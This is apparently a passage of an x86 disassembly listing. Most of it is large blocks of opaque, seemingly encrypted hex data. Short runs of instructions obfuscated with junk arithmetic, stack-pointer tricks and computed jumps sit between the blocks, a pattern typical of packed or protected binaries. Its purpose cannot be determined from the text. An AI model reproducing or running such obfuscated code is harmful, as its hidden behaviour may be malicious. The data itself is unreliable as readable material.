		dd 0F168A70Ch, 0F867B2Dh, 2CA35C4Bh, 663EEA63h,	0F919AD71h
		dd 62454EC1h, 4F570B9Dh, 0CDA29330h, 7FFD23DCh,	62D97D65h
		dd 7DE9FD5h, 0D42F545Ch, 45538AC7h, 8BAF5389h, 0A133CCDBh
		dd 0CC45BAEDh, 0B0BF9743h, 0CFDB1FD2h, 9545F932h, 0B65EF011h
		dd 594C0092h, 496014A6h, 387024B6h, 0DF8F37C9h,	9CA638C9h
		dd 565CD10Dh, 9D0A17C7h, 8127EB62h, 63450980h, 0ABEF259Eh
		dd 7EC7AF31h, 0D24FE105h, 5355D79Ch, 4266F656h,	5CEE2192h
		dd 0BEF500A8h, 7317BF51h, 857A2DE1h, 845AE9F3h,	429C1BA9h
		dd 0B1B6C9DFh, 0F3C24575h, 53178E32h, 7919AB54h, 1FD2E6A4h
		dd 2C2CB23Dh, 5A261EF6h, 0F2167898h, 94FA1D5Ch,	7CB0F0h
		dd 453D0000h, 441CC862h, 0D71FD3A1h, 0A1CAA24Eh, 0A95D1FD3h
		dd 2FCF6105h, 1FD3A15Dh, 0C67569F4h, 0F094BCF3h, 0FC09043Ah
		dd 461CB669h, 18922h, 45160000h, 590D9F60h, 2FFA74Ch, 0ADA2C870h
		dd 4C9E4929h, 0F4A83ADEh, 9BD14AB5h, 0E5724CF4h, 3DCFF384h
		dd 4DDF2089h, 0C2E80D99h, 0CA099B3Fh, 848AA33Bh, 0EAC26EF7h
		dd 7D1FD33Dh, 8416EBBDh, 991438DCh, 36C9DC45h, 53ACFBBFh
		dd 614565DCh, 4B5A0EA0h, 239E22B4h, 0C14066BBh,	0A8FDBD4Ah
		dd 0F91DC557h, 0FA15E49h, 20B24F5Bh, 9C9F3FBEh,	0F094BAADh
		dd 6E00h, 61458D00h, 505A0EA0h,	86151FB1h, 24DDC958h, 476020ADh
		dd 0C2E494B8h, 0B0F9AD3Fh, 0C9E6343h, 7A2EC064h, 9044D639h
		dd 0C254E619h, 34929B43h, 371229B5h, 76F094BAh,	59h, 1E614503h
		dd 615D3AD9h, 0CD327778h, 3FF38529h, 52069869h,	0F70AA053h
		dd 8719BD65h, 9B2DD2D3h, 17D65371h, 0EEF409E4h,	73AE7F5Fh
		dd 7F27FAE4h, 45940B82h, 6D0D9F60h, 1FD3A198h, 0AAFDF8AEh
		dd 6B1FB155h, 0A234C63Bh, 4572BB23h, 421724BAh,	6BF094BCh
		dd 1, 906545F8h, 0B3BE6419h, 0DCAD9EBAh, 0E51B9438h, 941ACD18h
		dd 0E01F86D8h, 0DE02A64Eh, 0F00F984Ch, 5FCAA5Eh, 19E6BF73h
		dd 0F0EE7D87h, 0AE30AF3Dh, 0BFF53773h, 7DAC61Ch, 3109A5E4h
		dd 0C41FD2FCh, 0B95DA404h, 379E15h, 768148Dh, 6C15F012h
		dd 53A58736h, 8FB58227h, 8C2AEDACh, 6DA6CA7Eh, 347327B9h
		dd 179054CBh, 30470466h, 0E0840346h, 9511D14Eh,	17BB4660h
		dd 1DB9DD85h, 25F1D64Bh, 238747D4h, 0D6855D09h,	641825F1h
		dd 62862EC0h, 0A161F7E7h, 4BC4EF04h, 0D4D383A7h, 9E27B42Bh
		dd 0D6916915h, 702425F1h, 0F1D6FCD4h, 0B7DB8F25h, 0CD5FA007h
		dd 0E6199050h, 6A9512C2h, 5D954D8h, 21F28B1Ch, 0CE7E2DA1h
		dd 0B963DA7Eh, 97552E0h, 1830Dh, 95A29A00h, 16DB8700h
		dd 0C315F0B7h, 0CA5CA503h, 0C9387222h, 72EB8F37h, 1A02B3E9h
		dd 0AA2320D0h, 0F38F360Eh, 0F115C925h, 3FCAB5Fh, 25DCCA8Ah
		dd 50C7EB93h, 52E41B8Ch, 7521099Eh, 25F38F9Dh, 46D87C30h
		dd 0C19747C2h, 664DA601h, 0CB6F17A9h, 0EB6B9139h, 4DA0671Fh
		dd 23843458h, 82D63DCh,	6619CA17h, 0FA8DFA15h, 5D236BD4h
		dd 0F014B849h, 0C68ACF79h, 4C230974h, 0B0000000h, 85FE93A2h
		dd 0A17850FCh, 4B0B1FD3h, 6C14A65Bh, 0A22BA4C8h, 0C8F5886Ch
		dd 0E60A18F0h, 0D380E24Ah, 0FA1551Fh, 0D37F976Fh, 439B261Fh
		dd 1D8BFA3Bh, 29D552E4h, 1FD37F51h, 0E88C30E4h,	815BC36Fh
		dd 1ACE1FD3h, 0BE74A3h,	0A2FD0000h, 0DB870095h,	15F0BB52h
		dd 0CD8113C7h, 6F9019DAh, 189135DDh, 8DB15058h,	0D5555216h
		dd 0BBC8A04Ch, 0A75B25F2h, 0F2BB330Bh, 6E12C625h, 2AD65FDCh
		dd 25F2BB52h, 298131E5h, 7A9E46D8h, 0F2BD0FDEh,	78891D25h
		dd 8D7432E6h, 0E2FC77FBh, 5D81104Bh, 0FD9AE3C4h, 98E67937h
		dd 9E6146F6h, 36F683FAh, 1B6E927Dh, 5400791Ch, 1C196D27h
		dd 0FA464h, 9416C66Eh, 5C10496Dh, 18C44DCAh, 2C19AB40h
		dd 4BFB1FD3h, 5DF215Ch,	982AD7D1h, 7B56CAF0h, 8C1EB054h
		dd 8AADD10Dh, 0F0588E07h, 54ABFE1Bh, 74F41AC2h,	0D42B7AECh
		dd 330BB730h, 0C62C19D0h, 0C975EE12h, 223FC29Ch, 77EE6519h
		dd 870095A2h, 0F993AEDBh, 0E5772B15h, 12897631h, 0D324594Eh
		dd 2D655FB5h, 0D04DDF83h, 0D5679A10h, 636D092Dh, 11E02371h
		dd 0E2C55C82h, 9019A61Dh, 23B10CE4h, 0DBB35F68h, 6E6823B0h
		dd 0A9CD81BAh, 0D07CAEF9h, 6823B0F8h, 0B25ED78Bh, 6823B0DAh
		dd 9C15B96Dh, 1236C9DCh, 22DDCC80h, 63D7DC90h, 23B0DFB7h
		dd 1ABE7268h, 2DD4D488h, 45D7287Dh, 959846C1h, 0CB568807h
		dd 0E8AC23DCh, 8FAE40BFh, 3, 4540A718h,	54089A67h, 661AAC53h
		dd 792DBF42h, 8F43D53Ah, 0A458EA17h, 0B96DFF02h, 0C97D0FF0h
		dd 0DA8E20E1h, 86A234CBh, 450368h, 243C8900h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edx
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], eax
		push	ecx
		mov	ecx, 3D6B6360h
		dec	ecx
		push	ebp
		mov	ebp, 0FBD22F2h
		dec	ebp
		inc	ebp
		or	ebp, 69908DDh
		or	ebp, 2FC049E8h
		neg	ebp
		xor	ebp, 0DA67EA45h
		xor	ecx, ebp
		pop	ebp
		add	ecx, 7B33193h
		sub	ecx, 389B1E0Ch
		mov	edx, ecx
		pop	ecx
		push	4BAAh
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	eax
		push	ecx
		mov	ecx, edx
		push	edi
		mov	edi, ecx
		mov	[eax+8], edi
		pop	edi
		pop	ecx
		mov	eax, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		jmp	loc_535A7A
; ---------------------------------------------------------------------------
		db 0EEh
		dd 0B821A87Ch, 62635C4h, 0E0FFC503h, 1B0A205Fh,	3341A650h
		dd 44EFE1C8h, 283F70E1h, 53F36559h, 1BD77FDBh, 6BAD5BB1h
		dd 51E0933Fh, 787053C5h, 1C549BF3h, 0D2E89BBh, 48986DE7h
		dd 2C19129Ch, 3205EA67h, 185F3836h, 1FB7617Ah, 1FA0E69h
		dd 424DC014h, 780F8F7Ah, 1E17D8BFh, 9FD3422h, 7719B5EAh
		dd 15AD562h, 0ADE404EBh, 2EE918D6h, 6A000005h, 8448BF42h
		dd 0A367DE21h, 0BF83FA07h, 0DA9E15EAh, 72BE35CCh, 10F1B5B8h
		dd 31DED599h, 4FB2F6BAh, 6C9314D8h, 7B32CF5h, 19AD6B2Fh
		dd 45178AC2h, 570B9D62h, 773BB24Fh, 893DCF30h, 0D24FE11Eh
		dd 42689712h, 0C4A15AEh, 0B6668A48h, 747E10EFh,	7F28F9E5h
		dd 63450980h, 649A279Eh, 67482F28h, 0C1719511h,	0D4881AE7h
		dd 0D7AF5BDFh, 6A1FD2B4h, 28CCA834h, 0AF536029h, 0D7D2920Bh
		dd 0E0720428h, 4A47D61h, 0E5C484FDh, 0D668970Eh, 44F88A2Eh
		dd 60089A65h, 5D2198BCh, 8323B54Ah, 1FD365AEh, 1922BC47h
		dd 0F0948040h, 23DCCD8Dh, 2CC5E991h, 84h, 9D6245B9h, 0A1996B0Bh
		dd 0FDAD1FD3h, 0E9BE7204h, 5B078416h, 1FD3A183h, 67E26216h
		dd 609AA77h, 34AA3562h,	94BCB207h, 15BF0h, 45E80000h, 0B2031D60h
		dd 19BFB9Fh, 8704DC88h,	0E3971FD3h, 290C63Fh, 55ACFC18h
		dd 0EBF51BC3h, 33C5E9A9h, 0DBCD267Fh, 48EC9426h, 4CA702B6h
		dd 0B6F2A25Dh, 6E2EA74Bh, 0B35C73Ah, 9A714EF5h,	9ABE6239h
		dd 6F6FFE08h, 950CF3B2h, 0B029D6D1h, 0B648B7F0h, 0FC73EA0Eh
		dd 9FFC467Ch, 59AF9778h, 7A22B44Dh, 0A402B2D6h,	8E17CB5Dh
		dd 0E25BDF71h, 0EB7D8422h, 3AA41F43h, 0CB42BFE7h, 0CD5FA007h
		dd 0DE709119h, 77E1FD7Ch, 936A42EEh, 49FD1FD3h,	0B4BA8F25h
		dd 4CF3F094h, 80000000h, 0EA06145h, 1FB1505Ah, 0C9588615h
		dd 0E9AD24DDh, 0FEB244BDh, 60C254ABh, 0B3EFDE1h, 0A2F094BAh
		dd 4Fh,	0A061452Fh, 0B34E5A0Eh,	0D32E7A3Ah, 9E841741h
		dd 0A520C12h, 6941ED66h, 0FC1FD376h, 53922448h,	9F071AC4h
		dd 4574EB62h, 0B5ED1D60h, 0F114F38Dh, 461BBB4Dh, 0DF1FD30Bh
		dd 0ECE8A54h, 0B44B5A99h, 0B2D67E10h, 942A5D1Ch, 170F0h
		dd 7CFD0000h, 0A16F47F3h, 4E021FD3h, 0A15129D5h, 30E41FD3h
		dd 0B34E5C0Ch, 0C53A6D21h, 0BC22A133h, 45BC4565h, 0BB3459DEh
		dd 0F0B6AE0Fh, 0D9F5315h, 3A54E59h, 21E15AFEh, 0E2C77788h
		dd 0BE82F91Dh, 78416E9h, 7EA25F47h, 0F2B610E2h,	0D40A9925h
		dd 2EA55A4Dh, 30C23D6Ah, 42D42B7Ch, 869B43BEh, 0A565DE21h
		dd 0B86CFE03h, 0D88012EDh, 89550E34h, 0E8C9E4D1h, 0D6A34DC4h
		dd 0F7097415h, 11Eh, 95A284h, 0B716DB87h, 0FC315F0h, 6840007Dh
		dd 53530799h, 36E60AAEh, 0DD248271h, 0A9FEC239h, 9710C456h
		dd 792FEF68h, 2A4EF688h, 45991498h, 0BD34CBDCh,	74564613h
		dd 0E2C78709h, 0BFE38B1Dh, 4726h, 93A2B300h, 73FC85FEh
		dd 0D3A1EFC7h, 0AACE821Fh, 0D3A2A60Eh, 0D365191Fh, 0D3A15B33h
		dd 7F5FEA1Fh, 0DA5336FFh, 0E7189151h, 0A2BF27C3h, 72321FD3h
		dd 16E9BC37h, 0A638DC84h, 0C574D8FEh, 60879204h, 931645BCh
		dd 9F000000h, 870095A2h, 0F0BB52DBh, 4991C715h,	0A3ADD187h
		dd 0D52A7F2Fh, 0BCEB9F31h, 0E2926F37h, 3AB3DC4h, 8324E85Fh
		dd 7B4AEA7Ch, 8925F337h, 9B4FE11Eh, 0DD61F30Ch,	76B17C62h
		dd 0A161F7E7h, 0BD65F708h, 37C09844h, 9F5325F3h, 23DCCB7Bh
		dd 9FF245ACh, 0C8DD9D26h, 0D9FDA537h, 192F1B3Dh, 0A306C61Ch
		dd 7F3FB85Ch, 22B4D829h, 3EC3E5A5h, 6DA982ACh, 0AE1EAC5h
		dd 15924266h, 8A3AD5DEh, 0AC54E629h, 65E47608h,	5F320579h
		dd 0D8183AE6h, 0FC3223Eh, 0F37C2198h, 0D3A16F47h, 2A4E021Fh
		dd 0B42D60D7h, 0F998E608h, 64DD9115h, 69FB06A4h, 34E09BC1h
		dd 99C0537Eh, 782FE375h, 5B4C1087h, 147212A4h, 0EA4448A4h
		dd 4CD5835Bh, 0EAA2C8A0h, 26D25B44h, 44EAA24Eh,	65892DE1h
		dd 940DF2B5h, 0ED04245Eh, 0EAE76941h, 2248FC44h, 0ACD0ECA2h
		dd 0C9367135h, 0D9268337h, 0EF209347h, 2FFA95Dh, 18F7BC70h
		dd 5AD30B8Ah, 90914DCCh, 0AD71E817h, 4FB0F9FAh,	0DF7115BDh
		dd 35C0h, 0FEAA3300h, 44EAD226h, 0AC8430B9h, 3F44EAD1h
		dd 6F37E78Bh, 34580092h, 0ECBC7CD1h, 0E4CF8315h, 4DF1992Bh
		dd 0A15028D4h, 2FE31FD3h, 8040BD0Bh, 9C44D629h,	67451578h
		dd 5354089Ah, 42661AACh, 3A792DBFh, 178F43D5h, 2A458EAh
		dd 0F0B96DFFh, 0E1C97D0Fh, 0CBDA8E20h, 5286A234h, 0BF57E289h
		dd 4, 835FFA01h, 148704EAh, 89515C24h, 4C181E1h, 83000000h
		dd 0C8704E9h, 0C895C24h, 0E1895124h, 4C181h, 0E9830000h
		dd 240C8704h, 2404895Ch, 86B95156h, 0F732877Eh,	6E1C1D9h
		dd 5D7FE181h, 814140EDh, 0BD64ACE9h, 7AE98136h,	89033CC0h
		dd 0F18959CEh, 4EC835Eh, 83242489h, 58042404h, 39685253h
		dd 5A083525h, 8142EAD1h, 1A9295EAh, 5AD38904h, 0B89C301h
		dd 24048B5Bh, 81E28952h, 4C2h, 4C28100h, 87000000h, 8B5C2414h
		dd 8952240Ch, 4C281E2h,	81000000h, 4C2h, 24148700h, 4188E95Ch
		dd 9B2FFF9h, 269204F7h,	973BF226h, 43A4C8BDh, 3B47B884h
		dd 0C5030626h, 0A264E0FFh, 749157EEh, 723E341Bh, 42717D48h
		dd 4FA31FC7h, 0A6E414B3h, 32571EADh, 29F73E59h,	0AC12501Fh
		dd 371826E0h, 0CE4F253Ch, 0ACC73A2h, 859872ECh,	2A2B025Ah
		dd 98426946h, 2D921F3Dh, 4BE45E42h, 1646E66h, 31D47307h
		dd 0D38157Ah, 5CBD6768h, 0A3F32294h, 4EB4ACFh, 3514E0E6h
		dd 4B3E9h, 25DCD000h, 44BBEAAEh, 60A109CDh, 7B8425E9h
		dd 9B664004h, 171ED824h, 37FB728Fh, 581C937Ch, 763AB150h
		dd 8E57CE31h, 65916915h, 0EC2419ADh, 9D624579h,	0BB466424h
		dd 55510597h, 367135ACh, 84BA37C9h, 396DF17Bh, 688E36C8h
		dd 0E004CAF6h, 0EC067730h, 57AAFE3Eh, 62F91A31h, 2D782CBEh
		dd 0A73640D2h, 6DBDEA37h, 0D2DCE9C1h, 863D8F1Fh, 0DF919DB9h
		dd 0CD79F2A6h, 1FD2C0F5h, 0B930D488h, 0D74EB3F5h, 0E01F8A4Ah
		dd 659C0CBCh, 12056D3h,	569DA93Eh, 0E8CB7B9Fh, 89CEA652h
		dd 0BBEA1FD3h, 0B3570B44h, 0CE108F21h, 35AC5553h, 50C93671h
		dd 6DE61990h, 0D389E9C1h, 0A4C87C1Fh, 899D7212h, 0AB361FD3h
		dd 0A4B10833h, 765CF094h, 0E9000000h, 0B9D6245h, 0D3A1996Bh
		dd 3FCAD1Fh, 16EBBD71h,	0CFB85A84h, 0BD48BFB4h,	44E9F580h
		dd 0E9528C17h, 0F094AA90h, 123Dh, 7F2BB400h, 1FD397A7h
		dd 8F60863Ah, 6F87ABD0h, 7C3EA1C5h, 0A16F47F3h,	42021FD3h
		dd 48F89C63h, 6911A35Eh, 0EF109545h, 2EFCA95Dh,	0D3A1AA82h
		dd 8B43D1Fh, 1FD3A130h,	0C76B0FC3h, 0D7288135h,	32AC3B45h
		dd 0D249B6EFh, 0EF66990Eh, 0A0614578h, 0B44B5A0Eh, 2E06B23Bh
		dd 0C11FD3A1h, 0D357E90Dh, 0B9B8658h, 32F27FF6h, 350DB981h
		dd 0C81FD3A1h, 9C4C7014h, 0E562F40Bh, 597D8225h, 870001A9h
		dd 8D1FE0C7h, 8C7535E5h, 9C2E52FAh, 0AAFDBD3Ah,	0A21BC355h
		dd 0D3A21EF6h, 0D9FDB11Fh, 8EBB805Eh, 1FF094BAh, 67h, 0A06145ACh
		dd 0BF406727h, 5555099Bh, 0A1532BD7h, 32E61FD3h, 63F2FC8Eh
		dd 0A854DD7Bh, 1FD3A1D0h, 0DB8BAF63h, 86892ACBh, 0FFA76BE2h
		dd 54008902h, 1FD3A17Ch, 0BBF41B98h, 9D51E307h,	40C1E70Ch
		dd 29A80A9Ch, 0BA4386B5h, 37EAF094h, 77000000h,	0EA06145h
		dd 21B34E5Ah, 968B53E2h, 0B878F110h, 0DA8214FBh, 45C83FB6h
		dd 461ECA60h, 0D91FD3A1h, 4FEF8125h, 1FD3A17Ah,	0E5568813h
		dd 0F094BC94h, 139h, 6545C600h,	0A1431BC7h, 16D61FD3h
		dd 34DC6E91h, 0DD5AEC90h, 0F8A4961Dh, 1FD3A220h, 375BFFB3h
		dd 4DDF2087h, 7FA23CBBh, 275DD62Bh, 2585D16Bh, 8DE3B6DCh
		dd 0A15E49F9h, 0CC43670Fh, 46BFD265h, 0B8DC2386h, 4A32933Fh
		dd 23D715F0h, 44BBEAAAh, 76E5F21Eh, 5E825B74h, 708F18CCh
		dd 8D7235F9h, 7E895BFBh, 831225F2h, 0C874FD5Bh,	25F27EF0h
		dd 0FBABCF83h, 18DC53ACh, 2ADE708Fh, 2901AD7Dh,	0BC25F27Fh
		dd 0C355ACFCh, 41D3771Bh, 0DCD71C8Dh, 49FD8F33h, 8D11A35Ch
		dd 0E161CC12h, 0FEA97866h, 99E08A01h, 3409759Fh, 0E5h
		dd 95A2C1h, 0B716DB87h,	0FC315F0h, 21DEC97Dh, 4B5D1DAAh
		dd 0C5E292B6h, 0F3857C2Eh, 6115A74Bh, 0A327B946h, 3C6BB628h
		dd 0D7A24CC3h, 0F6097456h, 3Ah,	7C93A283h, 951E65C8h, 1A40E87Ah
		dd 0AD51E653h, 0FA208834h, 0DF931FD2h, 0F8D5AD4Dh, 0D9641FD2h
		dd 4BBC7905h, 45CCDE4Eh, 2AA3472Fh, 0D334167Eh,	5ED5891Fh
		dd 782Fh, 0F37CB800h, 0D3A16F47h, 2A4E021Fh, 0B42D60D7h
		dd 0F0BA7F08h, 2B7EB415h, 3CA14FAFh, 16CA0327h,	28D7D084h
		dd 45BAEDB1h, 204413B3h, 38C725F3h, 0D32C7BA6h,	4F42F55Ch
		dd 719016D6h, 0A828D44Dh, 4B1C191Dh, 5C3E16C2h,	1DD12C19h
		dd 7433E779h, 0E867F98Bh, 0DAAF88F6h, 0A34FD861h, 2C195CCBh
		dd 8531AA5Eh, 2C195CADh, 0CC688C40h, 223F5A4Ch,	37C43BEFh
		dd 0A9CD3277h, 95A246h,	9F5BDB87h, 0C8FE15F9h, 0F7B88AC0h
		dd 50B1F991h, 0C27608ACh, 0DFA31AE5h, 5A537C8h,	0D10A1BA2h
		dd 36EBF382h, 53178E71h, 6519AB54h, 7529BB44h, 1BE6C233h
		dd 0AB3DE189h, 0C153BCF7h, 0FF2EB02Fh, 35ECF271h, 52168D72h
		dd 0F918AA55h, 3, 4540A782h, 54089A67h,	661AAC53h, 792DBF42h
		dd 8F43D53Ah, 0A458EA17h, 0B96DFF02h, 0C97D0FF0h, 0DA8E20E1h
		dd 86A234CBh, 81595451h, 4C1h, 4E98300h, 5C240C87h, 81E78957h
		dd 4C7h, 4EF8300h, 5C243C87h, 57243489h, 0C781E789h, 4
		dd 8704EF83h, 895C243Ch, 28BE2414h, 81310D7Bh, 9275BDEEh
		dd 0F4E6813Fh, 5377101Bh, 363D15BBh, 5BDE3177h,	24148B54h
		dd 5504C483h, 8F55F589h, 8B5D0842h, 89572414h, 4C781E7h
		dd 81000000h, 4C7h, 243C8700h, 2434FF5Ch, 4C4835Eh, 0F93C5DE9h
		dd 5B35CFFFh, 2640A4B8h, 0FFC50306h, 327E2DE0h,	0C6B1116Fh
		dd 0EFD71B66h, 2C99330Ch, 5EF80A4Eh, 9283F42h, 87F2647Ch
		dd 0C5648161h, 0BB5C4000h, 105CA56Dh, 2C4A421Fh, 0CD03BC0Ch
		dd 0D3E90464h, 0A844111h, 0A3237F33h, 219CCA3Ch, 15E095Bh
		dd 0EA8D8D0Ah, 29062641h, 1F2CA58Dh, 5D8D8906h,	8B061F0Bh
		dd 1F0AA5B5h, 0D9D8B06h, 0C7061F11h, 1F20C585h,	5F6C06h
		dd 0C72EB200h, 1F137D85h, 6, 6E900h, 0D9290000h, 0C59E90CDh
		dd 105DB5FFh, 6A061Fh, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 170424h, 50400000h, 9797C5C3h, 2BE6679h, 5995FFFBh
		dd 6A061F2Dh, 4595FF00h, 8B061F1Dh, 61BEBC0h, 27300955h
		dd 0B0A6F665h, 7F75608Ch, 6718BA9Eh, 138C91A2h,	0B95CB2B9h
		dd 4EB0E75h, 2EA45CF2h,	4E8E9h,	857C3000h, 0A45B4A0Eh
		dd 0C041692Dh, 0DB248549h, 0FB06A064h, 777E3884h, 975BD22Fh
		dd 0B87CF31Ch, 0D69A11F0h, 0EEB72ED1h, 5FF1C975h, 4C8419ADh
		dd 8C0E8DC3h, 25F5278Ch, 62459E01h, 4F570B9Dh, 0EEAE3BB2h
		dd 722246B9h, 7149F535h, 41FD3A1h, 661AAC50h, 0CF3B241h
		dd 0B52ED27Ah, 0C53C6C2Ch, 0D3A15129h, 0C30E41Fh, 20DFC67Ah
		dd 0E9F5848Eh, 9F6AF6Fh, 8D7235E5h, 0AB565216h,	0BD387034h
		dd 629F09EAh, 0F28428D0h, 0A42DA64Ah, 0D3A220F8h, 0DBFFB31Fh
		dd 0F11E9549h, 904ECD5Fh, 73EA1791h, 0B8FBF8AFh, 8121B357h
		dd 1FD3A1ACh, 3424BA45h, 0DC2798FEh, 82A67504h,	9484ADECh
		dd 3040F0h, 45CD0000h, 6B0B9D62h, 1FD3A199h, 239A530h
		dd 0F094BCB7h, 156h, 6045E300h,	4C590D9Fh, 3C6D21B3h, 982731C3h
		dd 35CADB46h, 52ADFABEh, 614564DBh, 6E1A1294h, 1FD3A196h
		dd 2DD17529h, 41BEE79Bh, 2EB02BAFh, 0D74EB3F3h,	0D96B9413h
		dd 0EA7C8525h, 66D50988h, 0F094BA63h, 81802AEAh, 8A2347EFh
		dd 5Ch,	94614517h, 0B55DEF12h, 0DBD89811h, 7925A234h, 1FD3A1A1h
		dd 0B8DC8034h, 0C9387226h, 409E2D37h, 0C53CC5E1h, 0CA5CA501h
		dd 0DA6C9316h, 56E5F978h, 0F094BA73h, 58BAh, 61454700h
		dd 4E5A0EA0h, 79881EDEh, 0D3A205DDh, 0C553AB1Fh, 964030Fh
		dd 0E6781CD0h, 5BC618A7h, 0C83FB64Bh, 6F47F37Ch, 21FD3A1h
		dd 2B7A2A4Eh, 0CDA242D4h, 661FD3A1h, 758A1DDDh,	9C173BE3h
		dd 0BCA0F942h, 0E46DF094h, 0D3AD6038h, 0D42B7C1Fh, 2AC3E79Bh
		dd 1, 906545B7h, 0A155E71Ah, 0C169FB04h, 33E7791Dh, 45F98B74h
		dd 441CC862h, 0D71FD3A1h, 39ED7F23h, 7E02946Dh,	0C452DB03h
		dd 3A12BE47h, 0CD1FD3A1h, 647AF519h, 9B14EDBDh,	0A032CFDBh
		dd 0D05DD4F8h, 0A1C39B47h, 0A2561FD3h, 890C2B7Eh, 0B7036410h
		dd 0F4A815F0h, 0FFAFE562h, 4AB7F1D9h, 65EA10B8h, 8F3F63ECh
		dd 0AC70E718h, 0D27204FBh, 25F2F500h, 3DE4FA89h, 5A1E956Ah
		dd 0FE01A64Dh, 0FF2B86Ch, 8D31D57Dh, 9F6047FBh,	19F19D26h
		dd 0AC25F2F5h, 0BE42D4F8h, 0DB248545h, 27DA149h, 27467CDCh
		dd 0F321D3FEh, 0CCDB8BAFh, 35718227h, 0EE9628CCh, 5029D34Ah
		dd 7D09740Eh, 102h, 95A20Ah, 0C975FE87h, 1FD3A1F1h, 9320D084h
		dd 1E42EA7Ch, 0F0B6BD82h, 24B66A15h, 83B871A7h,	0FF917038h
		dd 7853157h, 0B4F3A3C7h, 9710D44Bh, 8522D668h, 0E964E87Ah
		dd 847B2CF5h, 5B16630Dh, 40B70974h, 44000000h, 17EABC7Ch
		dd 2EC04167h, 260F6286h, 1CAE5357h, 0AB57D074h,	1FD3A343h
		dd 0D07002B6h, 1FD3A1F8h, 0C975FE87h, 1FD3A1F1h, 31ACD084h
		dd 2564D1ADh, 0A39800ACh, 570B1FD3h, 7CB1E0h, 0A23A0000h
		dd 0DB870095h, 15F0BB52h, 7A52FE87h, 0D25F2BBh,	48FC3559h
		dd 5AA502B6h, 77881FE3h, 0BC7645E5h, 258425F2h,	129448DAh
		dd 4CCB5DEFh, 0D1609B92h, 6C93140Dh, 0E4A98EF5h, 0FEDFBF6Bh
		dd 0B9421C18h, 18FE350Dh, 0F014C82Ch, 0BD7103B7h, 639C09EAh
		dd 0F38529D1h, 8124E461h, 2044EC7Eh, 0F24539A5h, 9A7A269Fh
		dd 3D223F40h, 41D32C7Dh, 42BFE999h, 0EB6408B0h,	62867B2Bh
		dd 95A274EBh, 8A518700h, 5CA30652h, 55FC22CAh, 0FA739711h
		dd 0CF5B171h, 1CE3C67Ah, 1A3EE28Ah, 0F90F9E7Eh,	0FB8D4115h
		dd 289F6047h, 2ABC4364h, 7B2C7E8Ah, 699F2C36h, 4E970DE3h
		dd 0AF2A4EAEh, 4AB5F22Fh, 689911D1h, 0B740CD44h, 0B652AFF7h
		dd 4E7B11DEh, 7F8B171h,	663EEA63h, 0F94E7B11h, 36712145h
		dd 0FABA37C9h, 7F2F53AEh, 0B143D52Ah, 3275AC32h, 93C956CDh
		dd 0F198F41Ah, 37E70BBCh, 80FD8F70h, 9B0CE7C0h,	862AD264h
		dd 0F3CB77F4h, 864E7B25h, 0EF0A2ED2h, 15h, 6AF37C78h, 0D3A1E6BEh
		dd 29C5791Fh, 1FD3A151h, 0BE0C30E4h, 9A674557h,	0AC535408h
		dd 0BF42661Ah, 0D53A792Dh, 0EA178F43h, 0FF02A458h, 0FF0B96Dh
		dd 20E1C97Dh, 34CBDA8Eh, 236886A2h, 89000070h, 0E6892434h
		dd 4C681h, 0EE830000h, 24348704h, 0E089505Ch, 405h, 42D00h
		dd 4870000h, 3C895C24h,	38356824h, 1C890000h, 0FABD5524h
		dd 0BF02CF4Ch, 8F58F0Fh, 3722EF81h, 0EF295C84h,	3722C781h
		dd 685D5C84h, 5689h, 81242489h,	42404h,	835B0000h, 3C8904ECh
		dd 8438F24h, 50241C8Bh,	405E089h, 83000000h, 48704C0h
		dd 3C8B5C24h, 0E3895324h, 4C381h, 0C3810000h, 4, 5C241C87h
		dd 0F93691E9h, 0F5335CFFh, 716EB311h, 0BD4A5173h, 465EB85Dh
		dd 0C5030626h, 0E625E0FFh, 76FE2FF1h, 98EB2449h, 0EDF7711Eh
		dd 78C6022Eh, 38F368B1h, 40723E92h, 0D8977ED8h,	0F46A3B6Fh
		dd 1366C08h, 1C0775EBh,	28C65A04h, 4883048Bh, 24C67761h
		dd 0BC772709h, 546A18E1h, 211661C2h, 4EB37DBh, 0CF0E223h
		dd 581E9h, 45BCF000h, 649B0ACEh, 808129EDh, 9B644509h
		dd 0BB466024h, 373EF844h, 571B926Fh, 783CB35Ch,	965AD130h
		dd 0AE77EE11h, 5AB18935h, 0C4419ADh, 0FBC04D83h, 38D63A42h
		dd 6245B114h, 4F570B9Dh, 30773BB2h, 761AE7C3h, 887730E4h
		dd 68E5D90Fh, 0A7D9AB75h, 0E6FB5C7Fh, 3C6206DDh, 9F546494h
		dd 67F91D63h, 8C38F2B3h, 1FD356B4h, 0C6E39347h,	5BFFA739h
		dd 7232BFC9h, 8A1CCC33h, 6D85377h, 451DC952h, 0D81FD356h
		dd 57500024h, 3B6D31A8h, 899BE944h, 29CD032Fh, 0F09C25B2h
		dd 1FD32F18h, 23D3F7ABh, 0C6397085h, 0D7DC9022h, 9514A638h
		dd 31D0D849h, 4EB1F6BAh, 719E15D5h, 461BBB4Dh, 0DF1FD32Eh
		dd 0E8B18A54h, 5F094CFh, 74h, 0ECBC7C92h, 0B7DB8315h, 0CD5FA007h
		dd 0D5111A50h, 0E86DE48Dh, 505628C4h, 3B6A1FD3h, 0F26D0642h
		dd 49ED52EFh, 5EA303B7h, 0AB33C2CCh, 14CA5582h,	94905227h
		dd 17BF0h, 7C080000h, 90C7E446h, 678DD88Fh, 950E6B68h
		dd 0BF6F93B9h, 7D7697E6h, 44EEB604h, 4B5A0EA0h,	3B6E22B4h
		dd 992832C4h, 36C9DC45h, 0B08834BDh, 431FD2D3h,	30F46B8Fh
		dd 9A118877h, 13EEBC7Ch, 5B5D981h, 1ACE60A1h, 2EE2748Bh
		dd 40F48679h, 53079968h, 6F17A956h, 0B17C62E1h,	0F928B631h
		dd 0A05F48ADh, 9E45C27Ah, 0FDA1589Bh, 1AE5C286h, 2BD6D488h
		dd 0FABA3799h, 0B53054ABh, 0FF92F29h, 96AC4B8Dh, 3F2983AAh
		dd 4DF1FE8Bh, 7AB69329h, 86F7F094h, 6E000000h, 7507FAAEh
